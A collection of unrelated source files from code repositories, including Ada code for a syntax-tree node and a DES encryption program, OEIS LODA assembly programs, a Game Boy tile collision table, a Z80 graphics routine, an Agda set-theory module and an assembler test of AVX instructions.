return Implicit_Raise_Expression is
begin
return Result : Implicit_Raise_Expression :=
(Exception_Name => Exception_Name,
Associated_Message => Associated_Message,
Is_Part_Of_Implicit => Is_Part_Of_Implicit,
Is_Part_Of_Inherited => Is_Part_Of_Inherited,
Is_Part_Of_Instance => Is_Part_Of_Instance, Enclosing_Element => null)
do
Initialize (Result);
end return;
end Create;
overriding function Exception_Name
(Self : Base_Raise_Expression)
return not null Program.Elements.Expressions.Expression_Access is
begin
return Self.Exception_Name;
end Exception_Name;
overriding function Associated_Message
(Self : Base_Raise_Expression)
return Program.Elements.Expressions.Expression_Access is
begin
return Self.Associated_Message;
end Associated_Message;
overriding function Raise_Token
(Self : Raise_Expression)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Raise_Token;
end Raise_Token;
overriding function With_Token
(Self : Raise_Expression)
return Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.With_Token;
end With_Token;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Raise_Expression)
return Boolean is
begin
return Self.Is_Part_Of_Implicit;
end Is_Part_Of_Implicit;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Raise_Expression)
return Boolean is
begin
return Self.Is_Part_Of_Inherited;
end Is_Part_Of_Inherited;
overriding function Is_Part_Of_Instance
(Self : Implicit_Raise_Expression)
return Boolean is
begin
return Self.Is_Part_Of_Instance;
end Is_Part_Of_Instance;
procedure Initialize (Self : aliased in out Base_Raise_Expression'Class) is
begin
Set_Enclosing_Element (Self.Exception_Name, Self'Unchecked_Access);
if Self.Associated_Message.Assigned then
Set_Enclosing_Element
(Self.Associated_Message, Self'Unchecked_Access);
end if;
null;
end Initialize;
overriding function Is_Raise_Expression_Element
(Self : Base_Raise_Expression)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Raise_Expression_Element;
overriding function Is_Expression_Element
(Self : Base_Raise_Expression)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Expression_Element;
overriding procedure Visit
(Self : not null access Base_Raise_Expression;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is
begin
Visitor.Raise_Expression (Self);
end Visit;
overriding function To_Raise_Expression_Text
(Self : aliased in out Raise_Expression)
return Program.Elements.Raise_Expressions.Raise_Expression_Text_Access is
begin
return Self'Unchecked_Access;
end To_Raise_Expression_Text;
overriding function To_Raise_Expression_Text
(Self : aliased in out Implicit_Raise_Expression)
return Program.Elements.Raise_Expressions.Raise_Expression_Text_Access is
pragma Unreferenced (Self);
begin
return null;
end To_Raise_Expression_Text;
end Program.Nodes.Raise_Expressions;
|
oeis/055/A055843.asm | neoneye/loda-programs | 11 | 247724 | ; A055843: Expansion of (1+3*x)/(1-x)^10.
; Submitted by <NAME>(s3)
; 1,13,85,385,1375,4147,11011,26455,58630,121550,238238,445094,797810,1379210,2309450,3759074,5965487,9253475,14060475,20967375,30735705,44352165,63081525,88529025,122713500,168152556,227961228,305965660,406833460,536222500,700950052,909184276,1170660205,1496922505,1901597425,2400696493,3012954659,3760205735,4667798135,5765054075,7085775554,8668800602,10558613450,12806012450,15468839750,18612776910,22312210830,26651174550,31724367675,37638261375,44512293111,52480156443,61691191485,72311881785
mov $1,$0
mul $1,12
add $1,27
mov $2,$0
add $2,8
bin $2,$0
mul $1,$2
mov $0,$1
div $0,27
|
data/tilesets/forest_collision.asm | Dev727/ancientplatinum | 28 | 8325 | <filename>data/tilesets/forest_collision.asm<gh_stars>10-100
tilecoll WALL, WALL, WALL, WALL ; 00
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01
tilecoll WATER, WATER, WATER, WATER ; 02
tilecoll WATER, WATER, WATER, WATER ; 03
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 04
tilecoll WALL, WALL, WALL, WALL ; 05
tilecoll FLOOR, WARP_CARPET_RIGHT, FLOOR, WARP_CARPET_RIGHT ; 06
tilecoll WATER, WATER, WATER, WATER ; 07
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, HEADBUTT_TREE, FLOOR ; 08
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, FLOOR, FLOOR ; 09
tilecoll WATER, WATER, WATER, WATER ; 0a
tilecoll WATER, WATER, WATER, WATER ; 0b
tilecoll HEADBUTT_TREE, FLOOR, HEADBUTT_TREE, FLOOR ; 0c
tilecoll WATER, WATER, WATER, WATER ; 0d
tilecoll FLOOR, HEADBUTT_TREE, FLOOR, HEADBUTT_TREE ; 0e
tilecoll FLOOR, FLOOR, CUT_TREE, HEADBUTT_TREE ; 0f
tilecoll HEADBUTT_TREE, FLOOR, HEADBUTT_TREE, HEADBUTT_TREE ; 10
tilecoll FLOOR, FLOOR, HEADBUTT_TREE, HEADBUTT_TREE ; 11
tilecoll FLOOR, HEADBUTT_TREE, HEADBUTT_TREE, HEADBUTT_TREE ; 12
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 13
tilecoll HEADBUTT_TREE, FLOOR, FLOOR, FLOOR ; 14
tilecoll FLOOR, HEADBUTT_TREE, FLOOR, FLOOR ; 15
tilecoll FLOOR, FLOOR, HEADBUTT_TREE, FLOOR ; 16
tilecoll FLOOR, FLOOR, FLOOR, HEADBUTT_TREE ; 17
tilecoll WALL, HOP_LEFT, WALL, HOP_LEFT ; 18
tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 19
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 1a
tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 1b
tilecoll HOP_DOWN, FLOOR, WALL, FLOOR ; 1c
tilecoll WALL, WALL, WALL, WALL ; 1d
tilecoll WALL, WALL, WALL, WALL ; 1e
tilecoll WALL, WALL, WALL, WALL ; 1f
tilecoll WALL, FLOOR, FLOOR, FLOOR ; 20
tilecoll WALL, WALL, WALL, WALL ; 21
tilecoll WALL, WALL, WALL, WALL ; 22
tilecoll WALL, WALL, WALL, WALL ; 23
tilecoll WALL, WALL, WALL, DOOR ; 24
tilecoll WALL, WALL, WALL, WALL ; 25
tilecoll WALL, WALL, WALL, WALL ; 26
tilecoll WALL, WALL, WALL, WALL ; 27
tilecoll WALL, FLOOR, WALL, FLOOR ; 28
tilecoll WALL, FLOOR, WALL, FLOOR ; 29
tilecoll WALL, FLOOR, WALL, FLOOR ; 2a
tilecoll WALL, FLOOR, WALL, FLOOR ; 2b
tilecoll WALL, FLOOR, WALL, FLOOR ; 2c
tilecoll WALL, FLOOR, WALL, FLOOR ; 2d
tilecoll WALL, FLOOR, WALL, FLOOR ; 2e
tilecoll WALL, FLOOR, WALL, FLOOR ; 2f
tilecoll WALL, FLOOR, WALL, FLOOR ; 30
tilecoll WALL, FLOOR, WALL, FLOOR ; 31
tilecoll WALL, FLOOR, WALL, FLOOR ; 32
tilecoll WALL, FLOOR, WALL, FLOOR ; 33
tilecoll WALL, FLOOR, WALL, FLOOR ; 34
tilecoll WALL, FLOOR, WALL, FLOOR ; 35
tilecoll WALL, FLOOR, WALL, FLOOR ; 36
tilecoll WALL, FLOOR, WALL, FLOOR ; 37
tilecoll WALL, FLOOR, WALL, FLOOR ; 38
tilecoll WALL, FLOOR, WALL, FLOOR ; 39
tilecoll WALL, FLOOR, WALL, FLOOR ; 3a
tilecoll WALL, FLOOR, WALL, FLOOR ; 3b
tilecoll WALL, FLOOR, WALL, FLOOR ; 3c
tilecoll WALL, FLOOR, WALL, FLOOR ; 3d
tilecoll WALL, FLOOR, WALL, FLOOR ; 3e
tilecoll WALL, FLOOR, WALL, FLOOR ; 3f
|
libsrc/graphics/w_undrawb.asm | Toysoft/z88dk | 8 | 3859 | <reponame>Toysoft/z88dk<filename>libsrc/graphics/w_undrawb.asm
;
; Undrawbox
;
; Generic high resolution version
;
;
; $Id: w_undrawb.asm,v 1.1 2016-10-18 06:52:34 stefano Exp $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC undrawb
PUBLIC _undrawb
EXTERN w_respixel
EXTERN w_line_r
EXTERN swapgfxbk
EXTERN swapgfxbk1
EXTERN __graphics_end
.undrawb
._undrawb
push ix
ld ix,4
add ix,sp
ld l,(ix+6)
ld h,(ix+7)
ld e,(ix+4)
ld d,(ix+5)
push hl
push de
push ix
call swapgfxbk
call w_respixel
call swapgfxbk1
pop ix
ld e,(ix+0)
ld d,(ix+1)
ld hl,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
call swapgfxbk1
pop ix
ld l,(ix+2)
ld h,(ix+3)
ld de,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
call swapgfxbk1
pop ix
pop de
pop hl
push ix
call swapgfxbk
call w_respixel
call swapgfxbk1
pop ix
ld l,(ix+2)
ld h,(ix+3)
ld de,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
call swapgfxbk1
pop ix
ld e,(ix+0)
ld d,(ix+1)
ld hl,0
push ix
call swapgfxbk
ld ix,w_respixel
call w_line_r
jp __graphics_end
|
sharding-core/src/main/antlr4/imports/SQLServerCreateIndex.g4 | shaojie925/incubator-shardingsphere | 1 | 7203 | grammar SQLServerCreateIndex;
import SQLServerKeyword, DataType, Keyword, SQLServerBase, BaseRule, Symbol;
createIndex
: CREATE UNIQUE? (CLUSTERED | NONCLUSTERED)? INDEX indexName ON tableName columnList
;
|
programs/oeis/006/A006337.asm | karttu/loda | 0 | 172730 | <filename>programs/oeis/006/A006337.asm
; A006337: An "eta-sequence": floor( (n+1)*sqrt(2) ) - floor( n*sqrt(2) ).
; 1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1
mov $3,$0
mov $5,2
lpb $5,1
mov $0,$3
sub $5,1
add $0,$5
add $0,1
pow $0,2
mul $0,2
mov $2,1
lpb $0,1
add $2,2
trn $0,$2
lpe
sub $2,3
mov $4,$5
mov $6,$2
lpb $4,1
mov $1,$6
sub $4,1
lpe
lpe
lpb $3,1
sub $1,$6
mov $3,0
lpe
sub $1,2
div $1,2
add $1,1
|
Sets/IterativeSet/Oper.agda | Lolirofle/stuff-in-agda | 6 | 14542 | <filename>Sets/IterativeSet/Oper.agda
module Sets.IterativeSet.Oper where
import Lvl
open import Data
open import Data.Boolean
open import Data.Boolean.Stmt
open import Data.Either as Either using (_‖_)
open import Data.Tuple as Tuple using ()
open import Functional
open import Logic
open import Numeral.Natural
open import Relator.Equals using () renaming (_≡_ to Id ; [≡]-intro to intro)
open import Sets.IterativeSet
open import Syntax.Function
open import Type.Dependent
module _ where
private variable {ℓ ℓ₁ ℓ₂} : Lvl.Level
open Iset
-- The empty set, consisting of no elements.
-- Index is the empty type, which means that there are no objects pointing to elements in the set.
∅ : Iset{ℓ}
∅ = set{Index = Empty} empty
-- The singleton set, consisting of one element.
-- Index is the unit type, which means that there are a single object pointing to a single element in the set.
singleton : Iset{ℓ} → Iset{ℓ}
singleton = set{Index = Unit} ∘ const
-- The pair set, consisting of two elements.
-- Index is the boolean type, which means that there are two objects pointing to two elements in the set.
pair : Iset{ℓ} → Iset{ℓ} → Iset{ℓ}
pair A B = set{Index = Lvl.Up(Bool)} ((if_then B else A) ∘ Lvl.Up.obj)
-- The union operator.
-- Index(A ∪ B) is the either type of two indices, which means that both objects from the A and the B index point to elements in the set.
_∪_ : Iset{ℓ} → Iset{ℓ} → Iset{ℓ}
A ∪ B = set{Index = Index(A) ‖ Index(B)} (Either.map1 (elem(A)) (elem(B)))
_,_ : Iset{ℓ} → Iset{ℓ} → Iset{ℓ}
A , B = pair (singleton A) (pair A B)
_⨯_ : Iset{ℓ} → Iset{ℓ} → Iset{ℓ}
A ⨯ B = set{Index = Index(A) Tuple.⨯ Index(B)} \{(ia Tuple., ib) → (elem(A)(ia) , elem(B)(ib))}
-- The big union operator.
-- Index(⋃ A) is the dependent sum type of an Index(A) and the index of the element this index points to.
⋃ : Iset{ℓ} → Iset{ℓ}
⋃ A = set{Index = Σ(Index(A)) (ia ↦ Index(elem(A)(ia)))} (\{(intro ia i) → elem(elem(A)(ia))(i)})
indexFilter : (A : Iset{ℓ}) → (Index(A) → Stmt{ℓ}) → Iset{ℓ}
indexFilter A P = set{Index = Σ(Index(A)) P} (elem(A) ∘ Σ.left)
filter : (A : Iset{ℓ}) → (Iset{ℓ} → Stmt{ℓ}) → Iset{ℓ}
filter{ℓ} A P = indexFilter A (P ∘ elem(A))
indexFilterBool : (A : Iset{ℓ}) → (Index(A) → Bool) → Iset{ℓ}
indexFilterBool A f = indexFilter A (Lvl.Up ∘ IsTrue ∘ f)
filterBool : (A : Iset{ℓ}) → (Iset{ℓ} → Bool) → Iset{ℓ}
filterBool A f = indexFilterBool A (f ∘ elem(A))
mapSet : (Iset{ℓ} → Iset{ℓ}) → (Iset{ℓ} → Iset{ℓ})
mapSet f(A) = set{Index = Index(A)} (f ∘ elem(A))
-- The power set operator.
-- Index(℘(A)) is a function type. An instance of such a function represents a subset, and essentially maps every element in A to a boolean which is interpreted as "in the subset of not".
-- Note: This only works properly in a classical setting. Trying to use indexFilter instead result in universe level problems.
℘ : Iset{ℓ} → Iset{ℓ}
℘(A) = set{Index = Index(A) → Bool} (indexFilterBool A)
-- The set of ordinal numbers of the first order.
ω : Iset{ℓ}
ω = set{Index = Lvl.Up ℕ} (N ∘ Lvl.Up.obj) where
N : ℕ → Iset{ℓ}
N(𝟎) = ∅
N(𝐒(n)) = N(n) ∪ singleton(N(n))
|
Des_Ada/src/p_deshandler.adb | VMika/Des_Ada | 0 | 2448 | <reponame>VMika/Des_Ada<filename>Des_Ada/src/p_deshandler.adb<gh_stars>0
with P_StructuralTypes; use P_StructuralTypes;
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Sequential_IO;
with Ada.Characters.Handling; use Ada.Characters.Handling;
with Ada.Strings.Unbounded.Text_IO;
with Ada.Streams; use Ada.Streams;
with Ada.Integer_Text_IO; use Ada.Integer_Text_IO;
with Ada.Calendar; use Ada.Calendar;
package body P_deshandler is
procedure Process (Self : in out DesHandler) is
InputLink : aliased InputHandler;
IPLink : aliased IPHandler;
KeyGenLink : aliased KeyHandler;
FeistelLink : aliased FeistelHandler;
ReverseIPLink : aliased ReverseIPHandler;
OutputLink : aliased OutputHandler;
Start : Time;
Finish : Time;
Final_Time : Duration;
begin
Self.Process_Request;
Start := Clock;
InputLink := Make (InputLink,Self.Input_Name);
IPLink := Make (IPLink);
KeyGenLink := Make (KeyGenLink);
FeistelLink := Make (FeistelLink);
FeistelLink.Set_Mode(Self.Mode);
ReverseIPLink := Make (ReverseIPLink);
OutputLink := Make (OutputLink);
OutputLink.Set_Output_Name(Self.Output_Name);
Self.InputLink := InputLink;
Self.IPLink := IPLink;
Self.KeyGenLink := KeyGenLink;
Self.FeistelLink := FeistelLink;
Self.ReverseIPLink := ReverseIPLink;
Self.OutputLink := OutputLink;
Self.Handle;
Finish := Clock;
Final_Time := Finish - Start;
Put_Line (Final_Time'Image);
end;
procedure Handle (Self : in out DesHandler) is
begin
Put("Container created") ; New_Line;
Self.Create_Binary_Data_Container;
Put("Handlers order set") ; New_Line;
Self.Set_Handlers_Order;
Put("Handlers containers set") ; New_Line;
Self.Set_Handlers_Container;
Self.InputLink.Handle;
end;
procedure Create_Binary_Data_Container (Self : in out DesHandler) is
begin
declare
Ptr_BinaryContainer : constant BinaryContainer_Access
:= new T_BinaryContainer(1..Self.InputLink.Get_Input_Size);
begin
Self.Ptr_Container := Ptr_BinaryContainer;
end;
end;
procedure Process_Request (Self : in out DesHandler) is
Tmp_Mode : Character := ' ';
Tmp_Key : Unbounded_String;
begin
while (Tmp_Mode /= 'D' and Tmp_Mode /= 'E') loop
Put ("Choose mode of algorithm (E for encryption, D for deciphering) : ");
Tmp_Mode := To_String(Ada.Strings.Unbounded.Text_IO.Get_Line)(1);
end loop;
Self.Mode := Tmp_Mode;
Put ("Choose the input file : ");
Self.Input_Name := Ada.Strings.Unbounded.Text_IO.Get_Line;
New_Line;
Put ("Choose the output file (a new file will be created) : ");
Self.Output_Name := Ada.Strings.Unbounded.Text_IO.Get_Line;
while Length(Tmp_Key) /= 8 loop
Put ("Choose a key (must be exactly 8 characters long) : ");
Tmp_Key := Ada.Strings.Unbounded.Text_IO.Get_Line;
New_Line;
end loop;
Self.Ptr_Key.all := To_String(Tmp_Key);
end;
procedure Set_Handlers_Order (Self : in out DesHandler) is
begin
Self.InputLink.Set_NextHandler(Self.IPLink'Unchecked_Access);
Self.IPLink.Set_NextHandler(Self.KeyGenLink'Unchecked_Access);
Self.KeyGenLink.Set_NextHandler(Self.FeistelLink'Unchecked_Access);
Self.FeistelLink.Set_NextHandler(Self.ReverseIPLink'Unchecked_Access);
Self.ReverseIPLink.Set_NextHandler(Self.OutputLink'Unchecked_Access);
end;
procedure Set_Handlers_Container (Self : in out DesHandler) is
begin
Self.InputLink.Set_BinaryContainer(Self.Ptr_Container);
Self.IPLink.Set_BinaryContainer(Self.Ptr_Container);
Self.FeistelLink.Set_BinaryContainer(Self.Ptr_Container);
Self.ReverseIPLink.Set_BinaryContainer(Self.Ptr_Container);
Self.OutputLink.Set_BinaryContainer(Self.Ptr_Container);
Self.KeyGenLink.Set_KeyAccess(Self.Ptr_Key);
Self.KeyGenLink.Set_SubKeyArrayAccess(Self.Ptr_SubKey_Array);
Self.FeistelLink.Set_SubKeyArrayAccess(Self.Ptr_SubKey_Array);
end;
end P_deshandler;
|
oeis/057/A057651.asm | neoneye/loda-programs | 11 | 89017 | ; A057651: a(n) = (3 * 5^n - 1)/2.
; 1,7,37,187,937,4687,23437,117187,585937,2929687,14648437,73242187,366210937,1831054687,9155273437,45776367187,228881835937,1144409179687,5722045898437,28610229492187,143051147460937,715255737304687,3576278686523437,17881393432617187,89406967163085937,447034835815429687,2235174179077148437,11175870895385742187,55879354476928710937,279396772384643554687,1396983861923217773437,6984919309616088867187,34924596548080444335937,174622982740402221679687,873114913702011108398437,4365574568510055541992187
mov $1,5
pow $1,$0
mul $1,6
div $1,4
mov $0,$1
|
pkgs/tools/yasm/src/modules/arch/x86/tests/avx.asm | manggoguy/parsec-modified | 64 | 178909 | <reponame>manggoguy/parsec-modified
; Exhaustive test of AVX instructions
; Also includes based-upon SSE instructions for comparison
;
; Copyright (C) 2008 <NAME>
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND OTHER CONTRIBUTORS ``AS IS''
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR OTHER CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
[bits 64]
addpd xmm1, xmm2
addpd xmm1, [rax]
addpd xmm1, dqword [rax]
addpd xmm10, xmm12
addpd xmm10, [rax+r15*4]
addpd xmm10, [r14+r15*4]
vaddpd xmm1, xmm2
vaddpd xmm1, [rax]
vaddpd xmm1, dqword [rax]
vaddpd xmm10, xmm12
vaddpd xmm10, [rax+r15*4]
vaddpd xmm10, [r14+r15*4]
vaddpd xmm1, xmm2, xmm3
vaddpd xmm1, xmm2, [rax]
vaddpd xmm1, xmm2, dqword [rax]
vaddpd xmm10, xmm12, xmm13
vaddpd xmm10, xmm12, [rax+r15*4]
vaddpd xmm10, xmm12, [r14+r15*4]
vaddpd ymm1, ymm2, ymm3
vaddpd ymm1, ymm2, [rax]
vaddpd ymm1, ymm2, yword [rax]
vaddpd ymm10, ymm12, ymm13
vaddpd ymm10, ymm12, [rax+r15*4]
vaddpd ymm10, ymm12, [r14+r15*4]
; Further instructions won't test high 8 registers (validated above)
addps xmm1, xmm2
addps xmm1, [rax]
addps xmm1, dqword [rax]
vaddps xmm1, xmm2
vaddps xmm1, [rax]
vaddps xmm1, dqword [rax]
vaddps xmm1, xmm2, xmm3
vaddps xmm1, xmm2, [rax]
vaddps xmm1, xmm2, dqword [rax]
vaddps ymm1, ymm2, ymm3
vaddps ymm1, ymm2, [rax]
vaddps ymm1, ymm2, yword [rax]
addsd xmm1, xmm2
addsd xmm1, [rax]
addsd xmm1, qword [rax]
vaddsd xmm1, xmm2
vaddsd xmm1, [rax]
vaddsd xmm1, qword [rax]
vaddsd xmm1, xmm2, xmm3
vaddsd xmm1, xmm2, [rax]
vaddsd xmm1, xmm2, qword [rax]
addss xmm1, xmm2
addss xmm1, [rax]
addss xmm1, dword [rax]
vaddss xmm1, xmm2
vaddss xmm1, [rax]
vaddss xmm1, dword [rax]
vaddss xmm1, xmm2, xmm3
vaddss xmm1, xmm2, [rax]
vaddss xmm1, xmm2, dword [rax]
addsubpd xmm1, xmm2
addsubpd xmm1, [rax]
addsubpd xmm1, dqword [rax]
vaddsubpd xmm1, xmm2
vaddsubpd xmm1, [rax]
vaddsubpd xmm1, dqword [rax]
vaddsubpd xmm1, xmm2, xmm3
vaddsubpd xmm1, xmm2, [rax]
vaddsubpd xmm1, xmm2, dqword [rax]
vaddsubpd ymm1, ymm2, ymm3
vaddsubpd ymm1, ymm2, [rax]
vaddsubpd ymm1, ymm2, yword [rax]
addsubps xmm1, xmm2
addsubps xmm1, [rax]
addsubps xmm1, dqword [rax]
vaddsubps xmm1, xmm2
vaddsubps xmm1, [rax]
vaddsubps xmm1, dqword [rax]
vaddsubps xmm1, xmm2, xmm3
vaddsubps xmm1, xmm2, [rax]
vaddsubps xmm1, xmm2, dqword [rax]
vaddsubps ymm1, ymm2, ymm3
vaddsubps ymm1, ymm2, [rax]
vaddsubps ymm1, ymm2, yword [rax]
andpd xmm1, xmm2
andpd xmm1, [rax]
andpd xmm1, dqword [rax]
vandpd xmm1, xmm2
vandpd xmm1, [rax]
vandpd xmm1, dqword [rax]
vandpd xmm1, xmm2, xmm3
vandpd xmm1, xmm2, [rax]
vandpd xmm1, xmm2, dqword [rax]
vandpd ymm1, ymm2, ymm3
vandpd ymm1, ymm2, [rax]
vandpd ymm1, ymm2, yword [rax]
andps xmm1, xmm2
andps xmm1, [rax]
andps xmm1, dqword [rax]
vandps xmm1, xmm2
vandps xmm1, [rax]
vandps xmm1, dqword [rax]
vandps xmm1, xmm2, xmm3
vandps xmm1, xmm2, [rax]
vandps xmm1, xmm2, dqword [rax]
vandps ymm1, ymm2, ymm3
vandps ymm1, ymm2, [rax]
vandps ymm1, ymm2, yword [rax]
andnpd xmm1, xmm2
andnpd xmm1, [rax]
andnpd xmm1, dqword [rax]
vandnpd xmm1, xmm2
vandnpd xmm1, [rax]
vandnpd xmm1, dqword [rax]
vandnpd xmm1, xmm2, xmm3
vandnpd xmm1, xmm2, [rax]
vandnpd xmm1, xmm2, dqword [rax]
vandnpd ymm1, ymm2, ymm3
vandnpd ymm1, ymm2, [rax]
vandnpd ymm1, ymm2, yword [rax]
andnps xmm1, xmm2
andnps xmm1, [rax]
andnps xmm1, dqword [rax]
vandnps xmm1, xmm2
vandnps xmm1, [rax]
vandnps xmm1, dqword [rax]
vandnps xmm1, xmm2, xmm3
vandnps xmm1, xmm2, [rax]
vandnps xmm1, xmm2, dqword [rax]
vandnps ymm1, ymm2, ymm3
vandnps ymm1, ymm2, [rax]
vandnps ymm1, ymm2, yword [rax]
blendpd xmm1, xmm2, 5
blendpd xmm1, [rax], byte 5
blendpd xmm1, dqword [rax], 5
vblendpd xmm1, xmm2, 5
vblendpd xmm1, [rax], byte 5
vblendpd xmm1, dqword [rax], 5
vblendpd xmm1, xmm2, xmm3, 5
vblendpd xmm1, xmm2, [rax], byte 5
vblendpd xmm1, xmm2, dqword [rax], 5
vblendpd ymm1, ymm2, ymm3, 5
vblendpd ymm1, ymm2, [rax], byte 5
vblendpd ymm1, ymm2, yword [rax], 5
blendps xmm1, xmm2, 5
blendps xmm1, [rax], byte 5
blendps xmm1, dqword [rax], 5
vblendps xmm1, xmm2, 5
vblendps xmm1, [rax], byte 5
vblendps xmm1, dqword [rax], 5
vblendps xmm1, xmm2, xmm3, 5
vblendps xmm1, xmm2, [rax], byte 5
vblendps xmm1, xmm2, dqword [rax], 5
vblendps ymm1, ymm2, ymm3, 5
vblendps ymm1, ymm2, [rax], byte 5
vblendps ymm1, ymm2, yword [rax], 5
; blendvpd doesn't have vex-encoded version of implicit xmm0
blendvpd xmm1, xmm3
blendvpd xmm1, [rax]
blendvpd xmm1, dqword [rax]
blendvpd xmm1, xmm3, xmm0
blendvpd xmm1, [rax], xmm0
blendvpd xmm1, dqword [rax], xmm0
vblendvpd xmm1, xmm2, xmm3, xmm4
vblendvpd xmm1, xmm2, [rax], xmm4
vblendvpd xmm1, xmm2, dqword [rax], xmm4
vblendvpd ymm1, ymm2, ymm3, ymm4
vblendvpd ymm1, ymm2, [rax], ymm4
vblendvpd ymm1, ymm2, yword [rax], ymm4
; blendvps doesn't have vex-encoded version of implicit xmm0
blendvps xmm1, xmm3
blendvps xmm1, [rax]
blendvps xmm1, dqword [rax]
blendvps xmm1, xmm3, xmm0
blendvps xmm1, [rax], xmm0
blendvps xmm1, dqword [rax], xmm0
vblendvps xmm1, xmm2, xmm3, xmm4
vblendvps xmm1, xmm2, [rax], xmm4
vblendvps xmm1, xmm2, dqword [rax], xmm4
vblendvps ymm1, ymm2, ymm3, ymm4
vblendvps ymm1, ymm2, [rax], ymm4
vblendvps ymm1, ymm2, yword [rax], ymm4
vbroadcastss xmm1, [rax]
vbroadcastss xmm1, dword [rax]
vbroadcastss ymm1, [rax]
vbroadcastss ymm1, dword [rax]
vbroadcastsd ymm1, [rax]
vbroadcastsd ymm1, qword [rax]
vbroadcastf128 ymm1, [rax]
vbroadcastf128 ymm1, dqword [rax]
cmppd xmm1, xmm2, 5
cmppd xmm1, [rax], byte 5
cmppd xmm1, dqword [rax], 5
vcmppd xmm1, xmm2, 5
vcmppd xmm1, [rax], byte 5
vcmppd xmm1, dqword [rax], 5
vcmppd xmm1, xmm2, xmm3, 5
vcmppd xmm1, xmm2, [rax], byte 5
vcmppd xmm1, xmm2, dqword [rax], 5
vcmppd ymm1, ymm2, ymm3, 5
vcmppd ymm1, ymm2, [rax], byte 5
vcmppd ymm1, ymm2, yword [rax], 5
cmpps xmm1, xmm2, 5
cmpps xmm1, [rax], byte 5
cmpps xmm1, dqword [rax], 5
vcmpps xmm1, xmm2, 5
vcmpps xmm1, [rax], byte 5
vcmpps xmm1, dqword [rax], 5
vcmpps xmm1, xmm2, xmm3, 5
vcmpps xmm1, xmm2, [rax], byte 5
vcmpps xmm1, xmm2, dqword [rax], 5
vcmpps ymm1, ymm2, ymm3, 5
vcmpps ymm1, ymm2, [rax], byte 5
vcmpps ymm1, ymm2, yword [rax], 5
cmpsd xmm1, xmm2, 5
cmpsd xmm1, [rax], byte 5
cmpsd xmm1, qword [rax], 5
vcmpsd xmm1, xmm2, 5
vcmpsd xmm1, [rax], byte 5
vcmpsd xmm1, qword [rax], 5
vcmpsd xmm1, xmm2, xmm3, 5
vcmpsd xmm1, xmm2, [rax], byte 5
vcmpsd xmm1, xmm2, qword [rax], 5
cmpss xmm1, xmm2, 5
cmpss xmm1, [rax], byte 5
cmpss xmm1, dword [rax], 5
vcmpss xmm1, xmm2, 5
vcmpss xmm1, [rax], byte 5
vcmpss xmm1, dword [rax], 5
vcmpss xmm1, xmm2, xmm3, 5
vcmpss xmm1, xmm2, [rax], byte 5
vcmpss xmm1, xmm2, dword [rax], 5
comisd xmm1, xmm2
comisd xmm1, [rax]
comisd xmm1, qword [rax]
vcomisd xmm1, xmm2
vcomisd xmm1, [rax]
vcomisd xmm1, qword [rax]
comiss xmm1, xmm2
comiss xmm1, [rax]
comiss xmm1, dword [rax]
vcomiss xmm1, xmm2
vcomiss xmm1, [rax]
vcomiss xmm1, dword [rax]
cvtdq2pd xmm1, xmm2
cvtdq2pd xmm1, [rax]
cvtdq2pd xmm1, qword [rax]
vcvtdq2pd xmm1, xmm2
vcvtdq2pd xmm1, [rax]
vcvtdq2pd xmm1, qword [rax]
